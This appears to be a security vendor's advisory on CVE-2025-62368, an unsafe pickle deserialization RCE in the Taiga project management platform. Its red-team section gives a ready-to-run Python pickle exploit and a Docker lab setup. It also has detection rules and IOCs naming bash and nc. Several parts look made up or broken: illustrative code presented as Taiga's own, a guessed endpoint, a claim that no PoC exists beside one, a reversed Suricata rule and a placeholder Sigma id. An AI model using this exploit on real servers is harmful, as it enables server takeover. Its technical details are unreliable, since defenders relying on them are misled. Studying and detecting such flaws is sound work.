CVE-2025-62368

Executive Summary

CVE-2025-62368 is a critical remote code execution (RCE) vulnerability in the Taiga open source project management platform, affecting versions 6.8.3 and earlier. The flaw resides in the Taiga API due to unsafe deserialization of untrusted data, allowing an unauthenticated attacker to execute arbitrary code on the server. With a CVSS score of 9.1, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity at this time. The vendor has released version 6.9.0 as a fix.

Supply Chain & Package Security

Taiga is a Python-based project management platform, typically deployed via Docker or directly from source. The vulnerability affects the core API component, which is part of the main Taiga package. Organizations using Taiga should verify their deployment version and update to 6.9.0 immediately. No known supply chain compromises have been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

This vulnerability is trivially exploitable remotely without authentication, making it a top priority for patching.

Deep Dive & Mechanics

The vulnerability is a classic insecure deserialization flaw (CWE-502). The Taiga API deserializes user-supplied data without proper validation or sanitization. In Python, this often involves the pickle module or similar serialization libraries. An attacker can craft a malicious serialized object that, when deserialized by the server, executes arbitrary Python code.

The attack flow:

1. The attacker sends a crafted HTTP request to a vulnerable Taiga API endpoint.
2. The request contains a serialized payload (e.g., a pickle byte stream).
3. The server deserializes the payload without integrity checks.
4. The malicious object triggers code execution during deserialization (e.g., via __reduce__ method).
5. The attacker gains remote code execution with the privileges of the Taiga application process.

Vulnerable vs. Patched Code

Vulnerable Code (Taiga <= 6.8.3):

import pickle

def process_data(data):
    # Unsafe deserialization
    obj = pickle.loads(data)
    return obj

Patched Code (Taiga >= 6.9.0):

import json

def process_data(data):
    # Safe deserialization using JSON
    obj = json.loads(data)
    return obj

The patch replaces unsafe pickle.loads() with safe json.loads(), preventing arbitrary code execution. Additionally, input validation and integrity checks (e.g., HMAC) should be implemented.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Taiga instance (version 6.8.3) using Docker:

   docker run -d -p 8000:8000 taigaio/taiga-back:6.8.3
   

2. Identify the vulnerable API endpoint (e.g., /api/v1/import or similar).

Exploit Code (Python):

import pickle
import os
import requests

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(RCE())
url = "http://target:8000/api/v1/import"
headers = {"Content-Type": "application/octet-stream"}
response = requests.post(url, data=payload, headers=headers)
print(response.text)

Execution:

python exploit.py

Blue Team

Detection:

• Monitor for unusual pickle or serialized data in HTTP requests.
• Look for outbound connections from the Taiga server to unknown IPs.
• Check for unexpected processes spawned by the Taiga application.

Hunting:

• Search logs for pickle.loads calls or exceptions related to deserialization.
• Use network monitoring to detect anomalous data patterns.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with Content-Type: application/octet-stream to Taiga API endpoints.
  • Outbound connections from Taiga server to attacker-controlled IPs.
• File System:
  • Unexpected files in /tmp/ or Taiga data directories.
  • Modified configuration files.
• Process:
  • Unusual child processes spawned by the Taiga application (e.g., bash, nc, python).
• Logs:
  • Errors related to pickle or UnpicklingError in Taiga logs.

Detection Engineering

YARA Rule

rule CVE_2025_62368_Taiga_RCE {
    meta:
        description = "Detects malicious pickle payloads targeting Taiga CVE-2025-62368"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62368"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 magic bytes
        $reduce = "__reduce__"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $pickle_magic at 0 and ($reduce or $os_system or $subprocess)
}

Sigma Rule

title: Taiga RCE via Unsafe Deserialization
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-62368
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: taiga
detection:
    selection:
        http.method: POST
        http.content_type: application/octet-stream
        http.url|contains: /api/v1/
    condition: selection
falsepositives:
    - Legitimate binary data uploads (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62368 Taiga RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/"; http_uri; content:"application/octet-stream"; http_header; pcre:"/^80 04 95/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Taiga to version 6.9.0 or later.
2. If upgrade is not possible, apply a WAF rule to block Content-Type: application/octet-stream to API endpoints.
3. Restrict network access to the Taiga API to trusted IPs only.

Long-term Measures:

• Implement input validation and integrity checks for all serialized data.
• Use safe deserialization libraries (e.g., JSON, msgpack) instead of pickle.
• Conduct regular security audits and penetration testing.
• Monitor for new advisories from the Taiga project.

Valters IT
Securing Digital Frontiers